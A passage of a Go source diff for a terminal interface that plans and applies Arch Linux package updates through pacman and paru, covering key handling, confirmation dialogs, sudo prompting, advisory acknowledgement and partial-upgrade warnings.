+ byLabel[c.Label] = c
+ }
+
+ kept := make([]plan.Check, 0, len(m.doc.Checks)+len(fresh))
+ for _, existing := range m.doc.Checks {
+ if !covered[existing.Label] {
+ kept = append(kept, existing)
+ continue
+ }
+ if updated, ok := byLabel[existing.Label]; ok {
+ kept = append(kept, updated)
+ }
+ // covered and absent from the refresh: the condition is resolved
+ }
+ present := make(map[string]bool, len(kept))
+ for _, k := range kept {
+ present[k.Label] = true
+ }
+ for _, c := range fresh {
+ if !present[c.Label] {
+ kept = append(kept, c)
+ }
+ }
+ m.doc.Checks = kept
+ m.rebuildTree()
+}
+
+func (m Model) load() tea.Cmd {
+ return func() tea.Msg {
+ ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second)
+ defer cancel()
+ doc, err := m.backend.Load(ctx)
+ return loadedMsg{plan: doc, err: err}
+ }
+}
+
+// -- update ---------------------------------------------------------------
+
+func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
+ if size, ok := msg.(tea.WindowSizeMsg); ok {
+ m.width, m.height = size.Width, size.Height
+ return m, nil
+ }
+
+ // The stream is read whether or not anything is open over it, and the
+ // reader is always re-armed.
+ //
+ // Handing these to a modal first was a deadlock: the modal ignored the
+ // event and returned no command, so the next read was never issued, the
+ // backend's stdout pipe filled, and the backend blocked on write. The
+ // build stopped, the clock stopped, and the screen sat there looking
+ // busy -- opening the help mid-compile was enough to do it.
+ if m.build != nil {
+ switch event := msg.(type) {
+ case streamEventMsg:
+ m.build.Apply(event.event)
+ return m, waitForEvent(m.stream)
+ case streamErrorMsg:
+ m.build.AddProtocolError(event.err)
+ return m, waitForEvent(m.stream)
+ case streamClosedMsg:
+ return m.closeStream()
+ }
+ }
+
+ // A modal owns the keyboard, not the program.
+ //
+ // Everything that is not a keypress belongs to the model and is handled
+ // whatever is on screen. Handing these to an open modal first stalls the
+ // program: a modal replies "not mine" and returns no command, so a
+ // loadedMsg arrives, is dropped, and the spinner turns over a plan that
+ // never lands.
+ if _, isKey := msg.(tea.KeyMsg); !isKey {
+ return m.handleModelMessage(msg)
+ }
+
+ // A modal owns the keyboard while it is open, and one can be opened over
+ // the dashboard as well as over the list.
+ if m.modal != nil {
+ next, cmd := m.modal.Update(msg)
+ m.modal = next
+ return m, cmd
+ }
+
+ // apply mode owns the keyboard once a run has started
+ if m.build != nil {
+ return m.updateApply(msg)
+ }
+
+ return m.handleKey(msg.(tea.KeyMsg))
+}
+
+// handleModelMessage deals with everything that is not a keypress.
+func (m Model) handleModelMessage(msg tea.Msg) (tea.Model, tea.Cmd) {
+ // A payload a modal asked for belongs to that modal. The two sets are
+ // disjoint by message type, which is what makes this a rule rather than a
+ // guess: the model owns plan loading, checks and confirmation; a fetch is
+ // owned by whoever requested it.
+ switch msg.(type) {
+ case detailMsg, textBodyMsg:
+ if m.modal != nil {
+ next, cmd := m.modal.Update(msg)
+ m.modal = next
+ return m, cmd
+ }
+ return m, nil // the modal asking for it has since closed
+ }
+
+ switch msg := msg.(type) {
+ // A confirmation answers with a message, not with the keypress. The modal
+ // closes on the key and the answer arrives a moment later, so it is handled
+ // here, after the modal has gone, rather than looked for while it is still
+ // on screen.
+ case cancelledMsg:
+ m.forgetPending()
+ return m, nil
+
+ case confirmedMsg:
+ return m.confirmed()
+
+ case spinnerTickMsg:
+ m.spin++
+ if m.modal != nil {
+ // advance the modal's frame, but do not let it re-arm: the tick is
+ // one chain and the model owns it
+ next, _ := m.modal.Update(msg)
+ m.modal = next
+ }
+ if m.wantsSpinner() {
+ return m, spinnerTick()
+ }
+ return m, nil
+
+ case copiedMsg:
+ // the loader was raised for whatever command produced this, and every
+ // outcome lands here, success or not
+ m.loading = false
+ m.setStatus("copied " + msg.what)
+ return m, nil
+
+ case pagerMsg:
+ // suspend the TUI, run the pager, and come back when it exits
+ pager := os.Getenv("UPDATER_PAGER")
+ if pager == "" {
+ pager = "delta"
+ }
+ if _, err := exec.LookPath(pager); err != nil {
+ if _, err := exec.LookPath("less"); err != nil {
+ m.setStatus("no pager found (" + pager + " or less)")
+ return m, nil
+ }
+ pager = "less"
+ }
+ cmd := exec.Command(pager, msg.path)
+ return m, tea.ExecProcess(cmd, func(err error) tea.Msg {
+ if err != nil {
+ return copiedMsg{what: "(pager failed)"}
+ }
+ return copiedMsg{what: "closed the pager"}
+ })
+
+ case sudoMsg:
+ m.pendingApply = false
+ if msg.err != nil {
+ m.modal = newMessage("NOT AUTHENTICATED",
+ Err.Render("sudo could not be satisfied, so nothing was run"),
+ "",
+ Muted.Render(msg.err.Error()),
+ "",
+ Muted.Render("Run `sudo -v` in a terminal, then apply again."))
+ return m, nil
+ }
+ m.sudoReady = true
+ return m.startApply()
+
+ case refreshMsg:
+ return m, m.reloadChecks()
+
+ case checksMsg:
+ m.loading = false
+ if msg.err != nil {
+ m.setStatus("could not refresh the checks: " + msg.err.Error())
+ return m, nil
+ }
+ m.mergeChecks(msg.checks, msg.covers)
+ m.setStatus("checks refreshed")
+ return m, nil
+
+ case loadedMsg:
+ m.loading = false
+ if msg.err != nil {
+ m.err = msg.err
+ return m, nil
+ }
+ m.err = nil
+ m.doc = msg.plan
+ m.rebuildTree()
+ m.setStatus(fmt.Sprintf("loaded %d row(s)", len(m.visible)))
+ return m, nil
+ }
+ return m, nil
+}
+
+// forgetPending drops whatever a confirmation was about.
+func (m *Model) forgetPending() {
+ m.pendingCommand = nil
+ m.pendingNews = false
+ m.pendingClear = false
+}
+
+// confirmed carries out whatever was just agreed to.
+func (m Model) confirmed() (tea.Model, tea.Cmd) {
+ if len(m.pendingCommand) > 0 {
+ command := m.pendingCommand
+ m.pendingCommand = nil
+ name := command[0]
+ if _, err := exec.LookPath(name); err != nil {
+ m.setStatus(name + " is not installed")
+ return m, nil
+ }
+ // suspend the TUI: these commands are interactive and some need root,
+ // which cannot be asked for behind an alt screen
+ m.beginLoading()
+ return m, tea.ExecProcess(exec.Command(name, command[1:]...),
+ func(err error) tea.Msg {
+ if err != nil {
+ return copiedMsg{what: "(the command failed)"}
+ }
+ // the command changed this machine, so re-read only the facts
+ // about this machine
+ return refreshMsg{}
+ })
+ }
+
+ if m.pendingNews {
+ m.pendingNews = false
+ m.cfg.MarkNewsSeen()
+ if err := m.cfg.Save(); err != nil {
+ m.setStatus("could not save: " + err.Error())
+ } else {
+ m.setStatus("news marked as read")
+ }
+ return m, nil
+ }
+
+ if m.pendingClear {
+ m.pendingClear = false
+ count := m.cfg.ClearAcks()
+ if err := m.cfg.Save(); err != nil {
+ m.setStatus("could not save: " + err.Error())
+ } else {
+ m.setStatus(fmt.Sprintf("cleared %d acknowledgement(s)", count))
+ }
+ return m, m.load()
+ }
+
+ m.forgetPending()
+ return m.startApply()
+}
+
+// beginLoading starts a wait and records when, so the screen can say how long
+// it has been. One owner, because the elapsed time is only honest if every
+// path that begins a wait also begins its clock.
+func (m *Model) beginLoading() {
+ m.loading = true
+ m.loadingAt = time.Now()
+}
+
+// wantsSpinner is the single owner of whether the tick chain continues.
+//
+// It has to outlive any one screen: the model's own loader and a modal's
+// spinner both animate, and a chain that stops when either forgets to re-arm
+// leaves a frozen spinner on screen.
+func (m Model) wantsSpinner() bool {
+ if m.loading && m.doc == nil {
+ return true
+ }
+ switch modal := m.modal.(type) {
+ case *loadingModal:
+ return true
+ case *textModal:
+ return modal.loading
+ }
+ return false
+}
+
+// skipCurrent leaves the package being built and moves to the next.
+//
+// One package per invocation is what makes this possible: inside a single
+// transaction there is nothing to lift out without unpicking what the database
+// has already been told. The backend stops the child and carries on, so this
+// is not a stop and nothing is lost.
+func (m Model) skipCurrent() (tea.Model, tea.Cmd) {
+ if m.build == nil || m.build.Finished {
+ return m, nil
+ }
+ if !m.build.CanSkip() {
+ m.setStatus("only the AUR phase builds one package at a time; " +
+ "this one cannot be skipped on its own")
+ return m, nil
+ }
+ if m.stream != nil && m.stream.Skip != nil {
+ m.stream.Skip()
+ names := make([]string, 0, len(m.build.Running))
+ for _, state := range m.build.Running {
+ names = append(names, state.Name)
+ }
+ m.setStatus("skipping " + strings.Join(names, ", "))
+ }
+ return m, nil
+}
+
+// closeStream records the backend's exit and releases the run.
+func (m Model) closeStream() (tea.Model, tea.Cmd) {
+ m.build.Finished = true
+ if m.cancelApply != nil {
+ m.cancelApply()
+ m.cancelApply = nil
+ }
+ if m.stream != nil {
+ err := m.stream.Wait()
+ m.build.Return = exitCode(err)
+ if detail := strings.TrimSpace(m.stream.Stderr()); detail != "" && err != nil {
+ m.build.AddMessage("backend: " + lastLine(detail))
+ }
+ }
+ return m, nil
+}
+
+// updateApply handles everything while a run is in progress.
+func (m Model) updateApply(msg tea.Msg) (tea.Model, tea.Cmd) {
+ switch msg := msg.(type) {
+ case tea.WindowSizeMsg:
+ m.width, m.height = msg.Width, msg.Height
+ return m, nil
+
+ case tea.KeyMsg:
+ if m.build.Output != nil {
+ // The output view owns the keyboard while it is open, exactly as
+ // a modal does elsewhere -- except for the key that opened it,
+ // which closes it again. Not while a search is being typed:
+ // "error" contains an o, and the view would close mid-word.
+ if msg.String() == "o" && !m.build.Output.searching {
+ m.build.Output, m.build.OutputKind = nil, overlayNone
+ return m, nil
+ }
+ next, cmd := m.build.Output.Update(msg)
+ if next == nil {
+ m.build.Output, m.build.OutputKind = nil, overlayNone
+ } else {
+ m.build.Output = next.(*textModal)
+ }
+ return m, cmd
+ }
+ switch msg.String() {
+ case "?":
+ m.modal = newRunHelp()
+ case "D":
+ m.build.OpenFinished()
+ case "s":
+ return m.skipCurrent()
+ case "o":
+ m.build.OpenOutput()
+ case "v":
+ m.build.Dashboard = !m.build.Dashboard
+ case "j", "down":
+ m.build.MoveCursor(1)
+ case "k", "up":
+ m.build.MoveCursor(-1)
+ case "d":
+ m.build.Dismiss()
+ case "l":
+ m.build.LogOpen = !m.build.LogOpen
+ case "esc":
+ if m.build.Finished {
+ // once it is over there is nothing to collapse, and this is
+ // the way back when a warning has taken over the enter key
+ m.build, m.stream, m.abortArmed = nil, nil, false
+ return m, m.load()
+ }
+ // collapsed, not abandoned: the run is still going
+ m.build.Dashboard = false
+ case "q":
+ if !m.build.Finished {
+ m.setStatus("a transaction is in progress — ctrl+c twice to abort")
+ return m, nil
+ }
+ return m, tea.Quit
+ case "ctrl+c":
+ if m.build.Finished {
+ return m, tea.Quit
+ }
+ if !m.abortArmed {
+ m.abortArmed = true
+ m.setStatus("press ctrl+c again to abort the transaction")
+ return m, nil
+ }
+ if m.stream != nil {
+ m.stream.Abort()
+ }
+ m.setStatus("aborting…")
+ // The reader armed when the run started is still outstanding and
+ // will deliver streamClosedMsg. Arming another puts two readers on
+ // one channel: closeStream runs twice, Wait() is called twice, and
+ // the second failure overwrites a clean exit 0 with "exited 1".
+ return m, nil
+ case "R":
+ return m.runRecovery()
+ case "enter":
+ // A warning is worth reading in full, so enter opens it when one
+ // is selected; otherwise it is the way back to the list.
+ if modal := m.build.OpenMessage(); modal != nil {
+ m.build.Output, m.build.OutputKind = modal, overlayMessage
+ return m, nil
+ }
+ if m.build.Finished {
+ m.build, m.stream, m.abortArmed = nil, nil, false
+ return m, m.load()
+ }
+ }
+ return m, nil
+ }
+ return m, nil
+}
+
+func exitCode(err error) int {
+ if err == nil {
+ return 0
+ }
+ var exit *exec.ExitError
+ if errors.As(err, &exit) {
+ return exit.ExitCode()
+ }
+ return 1
+}
+
+func lastLine(s string) string {
+ lines := strings.Split(strings.TrimSpace(s), "\n")
+ if len(lines) == 0 {
+ return s
+ }
+ return lines[len(lines)-1]
+}
+
+func (m Model) handleKey(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+ if m.filtering {
+ return m.handleFilterKey(msg)
+ }
+
+ switch msg.String() {
+ case "q", "ctrl+c":
+ return m, tea.Quit
+
+ case "?":
+ m.modal = newHelp()
+ return m, nil
+
+ case "r":
+ m.beginLoading()
+ m.err = nil
+ return m, m.load()
+
+ case "up", "k":
+ m.move(-1)
+ case "down", "j":
+ m.move(1)
+ case "ctrl+u", "pgup":
+ m.move(-m.listHeight() / 2)
+ case "ctrl+d", "pgdown":
+ m.move(m.listHeight() / 2)
+ case "home", "g":
+ m.move(-len(m.visible))
+ case "end", "G":
+ m.move(len(m.visible))
+
+ case " ":
+ return m.toggleSkip()
+
+ case "enter", "right", "l":
+ return m.enter()
+
+ case "left", "h":
+ return m.collapse()
+
+ case "s":
+ return m.toggleSolo()
+
+ case "S":
+ return m.clearSolo()
+
+ case "i":
+ return m.toggleIgnore()
+
+ case "c":
+ return m.ackAdvisory()
+
+ case "C":
+ return m.clearAcks()
+
+ case "n":
+ return m.markNewsRead()
+
+ case "R":
+ return m.runAction()
+
+ case "u":
+ return m.undoLast()
+
+ case "a":
+ return m.confirmApply()
+
+ case "/":
+ m.filtering = true
+ m.filter = ""
+ m.rebuildView()
+ return m, nil
+
+ case "x":
+ m.filter, m.filtering = "", false
+ m.rebuildView()
+ m.setStatus("filter cleared")
+ return m, nil
+
+ case "y":
+ return m.copyLine()
+
+ case "o":
+ return m.openDiff()
+ }
+ return m, nil
+}
+
+func (m Model) handleFilterKey(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+ switch msg.String() {
+ case "esc":
+ m.filter, m.filtering = "", false
+ m.rebuildView()
+ return m, nil
+ case "enter":
+ m.filtering = false
+ m.setStatus(fmt.Sprintf("%d match(es)", len(m.visible)))
+ return m, nil
+ case "backspace":
+ if m.filter != "" {
+ m.filter = m.filter[:len(m.filter)-1]
+ m.rebuildView()
+ }
+ case "up", "k":
+ m.move(-1)
+ case "down", "j":
+ m.move(1)
+ default:
+ if len(msg.Runes) > 0 {
+ m.filter += string(msg.Runes)
+ m.rebuildView()
+ }
+ }
+ return m, nil
+}
+
+// -- decisions ------------------------------------------------------------
+
+func (m Model) selected() *Node {
+ if m.cursor < 0 || m.cursor >= len(m.visible) {
+ return nil
+ }
+ return m.visible[m.cursor]
+}
+
+// isRepo reports whether a node is a repository package rather than an AUR one.
+func (m Model) isRepo(node *Node) bool {
+ return node != nil && node.Kind == KindPackage && node.Section == "Repository"
+}
+
+func (m Model) toggleSkip() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil || node.Kind != KindPackage {
+ return m, nil
+ }
+ if m.isRepo(node) {
+ // Holding a repo package back makes the run a partial upgrade. pacman
+ // cannot update everything except one thing and stay consistent, so the
+ // decision is recorded and the confirm dialog says so plainly.
+ before := m.held[node.Name]
+ m.held[node.Name] = !before
+ m.undo = append(m.undo, undoEntry{kind: undoSkip, name: node.Name,
+ repo: true, wasOn: before})
+ if m.held[node.Name] {
+ m.setStatus("holding " + node.Name + " — a partial upgrade")
+ } else {
+ m.setStatus("released " + node.Name)
+ }
+ } else {
+ before := m.skipped[node.Name]
+ m.skipped[node.Name] = !before
+ m.undo = append(m.undo, undoEntry{kind: undoSkip, name: node.Name,
+ wasOn: before})
+ if m.skipped[node.Name] {
+ m.setStatus("skipping " + node.Name)
+ } else {
+ m.setStatus("including " + node.Name)
+ }
+ }
+ m.applyDecisions()
+ return m, nil
+}
+
+func (m Model) toggleIgnore() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil || node.Kind != KindPackage {
+ return m, nil
+ }
+ now := m.cfg.Toggle(node.Name)
+ if err := m.cfg.Save(); err != nil {
+ m.setStatus("could not save config: " + err.Error())
+ } else if now {
+ m.setStatus("ignoring " + node.Name + " permanently")
+ } else {
+ m.setStatus("no longer ignoring " + node.Name)
+ }
+ m.undo = append(m.undo, undoEntry{kind: undoIgnore, name: node.Name})
+ m.applyDecisions()
+ return m, nil
+}
+
+// ackAdvisory marks a security advisory as read, so it stops being reported.
+//
+// Not "fixed": most advisories on a rolling distribution have no fix at all, so
+// the only useful action available is to stop being told about the ones you have
+// already considered.
+func (m Model) ackAdvisory() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil || node.Kind != KindAdvisory {
+ return m, nil
+ }
+ m.cfg.Ack(node.Name)
+ if err := m.cfg.Save(); err != nil {
+ m.setStatus("could not save the acknowledgement: " + err.Error())
+ return m, nil
+ }
+ m.removeNode(node)
+ m.setStatus("acknowledged " + node.Name)
+ m.rebuildView()
+ return m, nil
+}
+
+// clearAcks forgets every acknowledgement, behind a confirmation because there
+// is no way to undo it from here.
+func (m Model) clearAcks() (tea.Model, tea.Cmd) {
+ if len(m.cfg.AckedList()) == 0 {
+ m.setStatus("no advisories are acknowledged")
+ return m, nil
+ }
+ m.pendingClear = true
+ m.modal = newConfirm(
+ []string{"forget every advisory acknowledgement"},
+ []string{fmt.Sprintf("%d advisory(ies) will be reported again",
+ len(m.cfg.AckedList()))},
+ nil)
+ return m, nil
+}
+
+// runAction offers to run the command a check suggests.
+//
+// Some of these need root. The TUI is suspended and the command runs in the real
+// terminal, so sudo can prompt properly instead of failing behind an alt screen
+// with nowhere to ask.
+func (m Model) runAction() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil || len(node.Run) == 0 {
+ m.setStatus("this row has nothing to run")
+ return m, nil
+ }
+ warnings := []string{}
+ if node.Warning != "" {
+ warnings = append(warnings, node.Warning)
+ }
+ m.pendingCommand = node.Run
+ m.modal = newConfirm(
+ []string{strings.Join(node.Run, " ")},
+ []string{"runs in this terminal, so it can ask for your password"},
+ warnings)
+ return m, nil
+}
+
+// runRecovery finishes in the terminal what the unattended run could not.
+//
+// A conflict is a question, not a fault: pacman has to be told whether to
+// replace a package, and --noconfirm cannot answer. The only place that
+// question can be put is the real terminal, so the interface steps aside and
+// lets paru ask.
+func (m Model) runRecovery() (tea.Model, tea.Cmd) {
+ if m.build == nil || m.build.Recovery == nil {
+ return m, nil
+ }
+ command := m.build.Recovery.Command
+ if len(command) == 0 {
+ return m, nil
+ }
+ if _, err := exec.LookPath(command[0]); err != nil {
+ m.setStatus(command[0] + " is not installed")
+ return m, nil
+ }
+ return m, tea.ExecProcess(exec.Command(command[0], command[1:]...),
+ func(err error) tea.Msg {
+ if err != nil {
+ return copiedMsg{what: "(the recovery run did not finish cleanly)"}
+ }
+ return copiedMsg{what: "done"}
+ })
+}
+
+// warningTabs builds the warnings page, scoped to what will be applied.
+func (m Model) warningTabs() []tabSection {
+ tabs := make([]tabSection, 0, len(m.doc.Warnings))
+ for _, w := range m.doc.Warnings {
+ // A warning about a package that is not being applied is true but not
+ // relevant to this run, and listing it buries the ones that are.
+ if len(w.Packages) > 0 && len(m.solo) > 0 {
+ inScope := 0
+ for _, name := range w.Packages {
+ if m.willApply(name) {
+ inScope++
+ }
+ }
+ if inScope == 0 {
+ lines := []string{
+ "All of these are held back, so this does not affect",
+ "what is about to be applied:",
+ "",
+ }
+ lines = append(lines, indentAll(w.Packages)...)
+ lines = append(lines, "",
+ "Clear the solo selection with S to see them in context.")
+ tabs = append(tabs, tabSection{
+ title: w.Title,
+ note: fmt.Sprintf("none of the %d package(s) here are "+
+ "selected for this run", len(w.Packages)),
+ lines: lines,
+ })
+ continue
+ }
+ }
+ tabs = append(tabs, tabSection{
+ title: w.Title, lines: w.Details,
+ flagged: w.Flagged, note: w.Headline,
+ })
+ }
+ return tabs
+}
+
+func indentAll(items []string) []string {
+ out := make([]string, 0, len(items))
+ for _, item := range items {
+ out = append(out, " "+item)
+ }
+ return out
+}
+
+// toggleSolo picks a package and holds everything else back.
+//
+// The inverse of skipping one row at a time. Wanting two packages out of twenty
+// should not mean pressing space eighteen times, and it should not leave the
+// checks describing work that is not going to happen.
+func (m Model) toggleSolo() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil || node.Kind != KindPackage {
+ m.setStatus("solo picks a package: put the cursor on one")
+ return m, nil
+ }
+ if m.solo[node.Name] {
+ delete(m.solo, node.Name)
+ if len(m.solo) == 0 {
+ m.setStatus("solo off: the whole plan applies again")
+ } else {
+ m.setStatus("dropped " + node.Name + " from the selection")
+ }
+ } else {
+ m.solo[node.Name] = true
+ m.setStatus("solo: " + node.Name + " only")
+ }
+ m.applyDecisions()
+ m.rebuildTree()
+ return m, nil
+}
+
+func (m Model) clearSolo() (tea.Model, tea.Cmd) {
+ if len(m.solo) == 0 {
+ return m, nil
+ }
+ m.solo = map[string]bool{}
+ m.setStatus("solo off: the whole plan applies again")
+ m.rebuildTree()
+ return m, nil
+}
+
+// markNewsRead records that the news has been seen, so the next run only
+// reports what arrived after this point. Confirmed, because there is no undo.
+func (m Model) markNewsRead() (tea.Model, tea.Cmd) {
+ if !m.hasNewsRow() {
+ m.setStatus("there is no news to mark as read")
+ return m, nil
+ }
+ m.pendingNews = true
+ m.modal = newConfirm(
+ []string{"mark the arch news as read"},
+ []string{"items published after now will still be reported"}, nil)
+ return m, nil
+}
+
+func (m Model) hasNewsRow() bool {
+ for _, n := range m.visible {
+ if n.Kind == KindCheck && strings.EqualFold(n.Text, "news") {
+ return true
+ }
+ }
+ return false
+}
+
+// removeNode drops a node from the tree, so a decision takes effect immediately
+// rather than after a reload that would go back to the network.
+func (m *Model) removeNode(target *Node) {
+ var walk func(nodes []*Node) []*Node
+ walk = func(nodes []*Node) []*Node {
+ out := nodes[:0]
+ for _, n := range nodes {
+ if n == target {
+ continue
+ }
+ n.Children = walk(n.Children)
+ out = append(out, n)
+ }
+ return out
+ }
+ m.roots = walk(m.roots)
+}
+
+func (m Model) undoLast() (tea.Model, tea.Cmd) {
+ if len(m.undo) == 0 {
+ m.setStatus("nothing to undo")
+ return m, nil
+ }
+ entry := m.undo[len(m.undo)-1]
+ m.undo = m.undo[:len(m.undo)-1]
+ switch entry.kind {
+ case undoSkip:
+ if entry.repo {
+ m.held[entry.name] = entry.wasOn
+ } else {
+ m.skipped[entry.name] = entry.wasOn
+ }
+ m.setStatus("undid the decision on " + entry.name)
+ case undoIgnore:
+ m.cfg.Toggle(entry.name)
+ if err := m.cfg.Save(); err != nil {
+ m.setStatus("could not save config: " + err.Error())
+ } else {
+ m.setStatus("undid the ignore on " + entry.name)
+ }
+ }
+ m.applyDecisions()
+ return m, nil
+}
+
+// needsRoot reports whether this run will invoke anything privileged.
+//
+// Flatpak is left out on purpose: user installations do not need root, and
+// requiring it would block a run that would have worked.
+func (m Model) needsRoot() bool {
+ if m.doc == nil {
+ return false
+ }
+ for _, u := range m.doc.Repo {
+ if m.willApply(u.Name) {
+ return true
+ }
+ }
+ for _, a := range m.doc.Aur {
+ if m.willApply(a.Name) {
+ return true
+ }
+ }
+ for _, v := range m.doc.Vcs {
+ if m.willApply(v.Name) {
+ return true
+ }
+ }
+ return false
+}
+
+// soloCount and totalPackages describe the pick, so the header can say how much
+// of the plan is still in play.
+func (m Model) soloCount() int {
+ n := 0
+ for _, u := range m.doc.Repo {
+ if m.willApply(u.Name) {
+ n++
+ }
+ }
+ for _, a := range m.doc.Aur {
+ if m.willApply(a.Name) {
+ n++
+ }
+ }
+ for _, v := range m.doc.Vcs {
+ if m.willApply(v.Name) {
+ n++
+ }
+ }
+ return n
+}
+
+func (m Model) totalPackages() int {
+ if m.doc == nil {
+ return 0
+ }
+ return len(m.doc.Repo) + len(m.doc.Aur) + len(m.doc.Vcs)
+}
+
+// willApply is the one place that decides whether a package is part of this
+// run. Every count, the plan, the advisories and the warnings all ask this, so
+// they cannot disagree with each other or with the apply.
+func (m Model) willApply(name string) bool {
+ if m.cfg.IsIgnored(name) {
+ return false
+ }
+ if len(m.solo) > 0 {
+ return m.solo[name]
+ }
+ return !m.skipped[name] && !m.held[name]
+}
+
+// applyDecisions pushes the current state onto the tree and redraws.
+func (m *Model) applyDecisions() {
+ var mark func(nodes []*Node)
+ mark = func(nodes []*Node) {
+ for _, n := range nodes {
+ if n.Kind == KindPackage {
+ n.Ignored = m.cfg.IsIgnored(n.Name)
+ n.Skipped = !m.willApply(n.Name)
+ n.Soloed = m.solo[n.Name]
+ n.SoloActive = len(m.solo) > 0
+ }
+ mark(n.Children)
+ }
+ }
+ mark(m.roots)
+ m.applyFilter()
+}
+
+// -- action keys ----------------------------------------------------------
+
+func (m Model) drillDown() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil {
+ return m, nil
+ }
+ switch node.Kind {
+ case KindPackage:
+ m.modal = newDetail(node.Name, m.width)
+ return m, m.fetchDetail(node.Name)
+ case KindAdvisory:
+ m.modal = newTextLoading(node.Name, "fetching the advisory from the tracker")
+ return m, tea.Batch(m.fetchAdvisory(node.Name), spinnerTick())
+ default:
+ // The warnings page is built from the plan's warning kinds, not from
+ // the row's detail, so it has to be reachable before the guard that
+ // skips rows with nothing to show.
+ if node.Kind == KindCheck && node.Text == "warning" && len(m.doc.Warnings) > 0 {
+ m.modal = newTabs("warnings", m.warningTabs())
+ return m, nil
+ }
+ if len(node.Detail) == 0 && len(node.Queue) == 0 {
+ return m, nil
+ }
+ title := node.Name
+ if title == "" {
+ title = node.Text
+ }
+ if title == "" {
+ title = node.Command
+ }
+ if len(node.Queue) > 0 {
+ // The queue is the answer; prose summarising the same commands
+ // would be a second place to read them.
+ m.modal = newQueue(node.Command, node.Queue)
+ return m, nil
+ }
+ modal := newText(title)
+ modal.Update(textBodyMsg{title: title, lines: node.Detail})
+ m.modal = modal
+ return m, nil
+ }
+}
+
+// fetchAdvisory pulls one advisory's full record, so the link is a last resort
+// rather than the only thing we can show.
+func (m Model) fetchAdvisory(id string) tea.Cmd {
+ return func() tea.Msg {
+ ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
+ defer cancel()
+ detail, err := m.backend.LoadAdvisory(ctx, id)
+ if err != nil {
+ return textBodyMsg{title: id, err: err}
+ }
+ return textBodyMsg{title: id, lines: advisoryLines(detail), foot: detail.URL}
+ }
+}
+
+// fetchSecurity runs arch-audit again and shows the result.
+func (m Model) fetchSecurity() tea.Cmd {
+ return func() tea.Msg {
+ ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second)
+ defer cancel()
+ report, err := m.backend.RunSecurity(ctx)
+ if err != nil {
+ return textBodyMsg{title: "arch-audit", err: err}
+ }
+ return textBodyMsg{title: "arch-audit", lines: securityLines(report)}
+ }
+}
+
+func (m Model) fetchDetail(pkg string) tea.Cmd {
+ return func() tea.Msg {
+ ctx, cancel := context.WithTimeout(context.Background(), 120*time.Second)
+ defer cancel()
+ d, err := m.backend.LoadDetail(ctx, pkg)
+ return detailMsg{pkg: pkg, detail: d, err: err}
+ }
+}
+
+func (m Model) confirmApply() (tea.Model, tea.Cmd) {
+ if m.doc == nil {
+ return m, nil
+ }
+ commands, notes, warnings := m.planLines()
+ if len(commands) == 0 {
+ m.modal = newMessage("NOTHING TO DO", Muted.Render("no updates are selected"))
+ return m, nil
+ }
+ m.modal = newConfirm(commands, notes, warnings)
+ return m, nil
+}
+
+// planLines describes exactly what would run, and refuses to hide a partial
+// upgrade behind a cheerful summary.
+func (m Model) planLines() (commands, notes, warnings []string) {
+ // Everything below asks willApply, so what this shows and what the apply
+ // does cannot drift apart.
+ var repoHeld, repoLive, aurLive int
+ var heldNames []string
+ for _, u := range m.doc.Repo {
+ if m.willApply(u.Name) {
+ repoLive++
+ } else {
+ repoHeld++
+ heldNames = append(heldNames, u.Name)
+ }
+ }
+ for _, a := range m.doc.Aur {
+ if m.willApply(a.Name) {
+ aurLive++
+ }
+ }
+ for _, v := range m.doc.Vcs {
+ if m.willApply(v.Name) {
+ aurLive++
+ }
+ }
+
+ if repoLive > 0 || repoHeld > 0 {
+ cmd := "pacman -Syu"
+ if repoHeld > 0 {
+ cmd += " --ignore=" + strings.Join(heldNames, ",")
+ }
+ commands = append(commands, cmd)
+ detail := fmt.Sprintf("%d package(s)", repoLive)
+ if repoHeld > 0 {
+ detail += fmt.Sprintf(", %d held back", repoHeld)
+ }
+ notes = append(notes, detail)
+ }
+ if aurLive > 0 {
+ commands = append(commands, "paru -Sua")
+ detail := fmt.Sprintf("%d AUR package(s)", aurLive)
+ notes = append(notes, detail)
+ }
+
+ // Holding repository packages back is a partial upgrade, which Arch does
+ // not support: the held packages keep their old libraries while everything
+ // else moves to the new ones. That is worth saying out loud, not burying.
+ if repoHeld > 0 {
+ warnings = append(warnings, fmt.Sprintf(
+ "%d repository package(s) held back: this is a partial upgrade, "+
+ "which is not supported and can leave libraries mismatched",
+ repoHeld))
+ }
+ if len(m.solo) > 0 {
+ notes = append(notes, fmt.Sprintf("solo: %d of %d package(s) selected",
+ m.soloCount(), m.totalPackages()))
+ }
+ return commands, notes, warnings
+}
+
+// startApply launches the backend and switches to the live view.
+func (m Model) startApply() (tea.Model, tea.Cmd) {
+ commands, _, _ := m.planLines()
+ if len(commands) == 0 {
+ m.modal = newMessage("NOTHING TO DO", Muted.Render("no updates are selected"))
+ return m, nil
+ }
+
+ // sudo cannot prompt through a pipe, and the phases run with their input
+ // closed so that paru cannot steal the keyboard. Without this the run
+ // exited 1 in under a second having done nothing, with the reason buried in
+ // a log file. Suspending once here caches the credentials in the real
+ // terminal, where the password prompt actually works.
+ if m.needsRoot() && !m.sudoReady {
+ if _, err := exec.LookPath("sudo"); err != nil {
+ m.modal = newMessage("NO SUDO", Err.Render("sudo is not installed"),
+ "", Muted.Render("This update needs root and there is no way to ask for it."))
+ return m, nil
+ }
+ m.pendingApply = true
+ return m, tea.ExecProcess(exec.Command("sudo", "-v"),
+ func(err error) tea.Msg { return sudoMsg{err: err} })
+ }
+ skips := make([]string, 0, len(m.skipped))
+ for name, on := range m.skipped {
+ if on {
+ skips = append(skips, name)
+ }
+ }
+
+ // Solo is expressed as holds rather than as a new backend flag: "apply
+ // only these" and "hold everything else" are the same instruction, and the
+ // apply already understands the second.
+ holds := make([]string, 0, len(m.held))
+ if len(m.solo) > 0 {
+ for _, u := range m.doc.Repo {
+ if !m.solo[u.Name] {
+ holds = append(holds, u.Name)
+ }
+ }
+ for _, a := range m.doc.Aur {
